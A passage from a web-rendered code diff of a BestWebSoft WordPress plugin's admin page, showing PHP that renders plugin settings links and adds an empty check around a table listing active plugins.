\]\["settings"\]; ?>" target\="\_blank"\><?php \_e( "Settings", 'bestwebsoft' ); ?></a\> <?php if ( '' != $bws\_plugins\[ $key\_plugin \]\["settings"\] ) { ?> <span\> | </span\> <a href\="<?php echo $bws\_plugins\[ $key\_plugin \]\["settings"\]; ?>" target\="\_blank"\><?php \_e( "Settings", 'bestwebsoft' ); ?></a\> <?php } ?> </div\> </div\> <?php } Expand Down Expand Up @@ -862,12 +903,14 @@ function bws\_add\_menu\_render() { <table class\="bws\_system\_info"\> <thead\><tr\><th\><?php \_e( 'Active Plugins', 'bestwebsoft' ); ?></th\><th\></th\></tr\></thead\> <tbody\> <?php foreach ( $system\_info\['active\_plugins'\] as $key => $value ) { ?> <tr\> <td scope\="row"\><?php echo $key; ?></td\> <td scope\="row"\><?php echo $value; ?></td\> </tr\> <?php } ?> <?php if ( ! empty( $system\_info\['active\_plugins'\] ) ) { foreach ( $system\_info\['active\_plugins'\] as $key => $value ) { ?> <tr\> <td scope\="row"\><?php echo $key; ?></td\> <td scope\="row"\><?php echo $value; ?></td\> </tr\> <?php } } ?> </tbody\> </table\> <table class\="bws\_system\_info"\> Expand Down

Tag

#google